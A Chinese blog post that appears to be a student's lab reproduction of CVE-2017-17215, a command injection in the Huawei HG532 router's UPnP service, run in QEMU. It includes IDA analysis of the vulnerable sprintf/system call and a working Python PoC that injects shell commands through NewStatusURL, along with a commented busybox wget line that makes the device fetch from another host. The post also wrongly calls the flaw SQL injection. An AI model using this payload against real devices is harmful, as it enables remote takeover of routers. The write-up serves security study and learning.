在我们搭好qemu环境之后就可以来找cve复现了,这里我选择的是cve-2017-17215

放上师傅们的地址
http://ronpa.top/2018/11/29/CVE-2017-17215%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://xz.aliyun.com/t/4819
https://www.freebuf.com/vuls/160040.html
https://paper.seebug.org/490/

设备:华为HG532
漏洞:远程执行代码漏洞
渗透方式:SQL注入
固件下载地址:

qemu就不说了,可参考上一个博客,ssh连接qemu的环境,然后通过scp将固件路由copy过去

通过chroot . sh切换根目录 ps:chroot的讲解
chroot更改目录图

运行mic(后面会讲解固件ida分析过程)
mic运行图mic运行图2

固件ida分析

mips架构,根据师傅们的首先分析漏洞点位于Upnp的服务之中

Upnp:通用即插即用(英语:Universal Plug and Play,简称UPnP)是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。UPnP通过定义和发布基于开放、因特网通讯网协议标准的UPnP设备控制协议来实现这一目标。(来自于百度百科)

本来想分析一下soap协议但是同学说了解就可以,现在用的不多,所以这里就不多提了。

直接根据poc分析,因为使用到了NewDownloadURL,所以直接ida查询string,交叉引用找到函数的作用点
ida1

下面是关键汇编处,sprintf用到四个参数a0,a1,a2,a3,后面无缝衔接一个system(a0),所以注入点就在a0,a0就是NewStatusURL的值,我们post一个闭合参数给a0,便可以执行任意命令
ida2

在kali段运行poc,实现ls,wget,mkdir等命令,复现成功

ls
ls

wget
这里通过监听kali的80端口,进行测试,我们wget目标是让通过远程命令让固件对kali主机进行一个get操作,下图是实现成果
wget

mkdir:建立一个flag文件
mkdir

poc脚本

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;ls bin;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.66.132:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
#/bin/busybox wget -g 192.168.66.132 -l /tmp/1 -r /1
#ls
#mkdir flag

第一个复现的iot吧,还是有太多东西不懂,还需要继续学习,奥利给!


一个好奇的人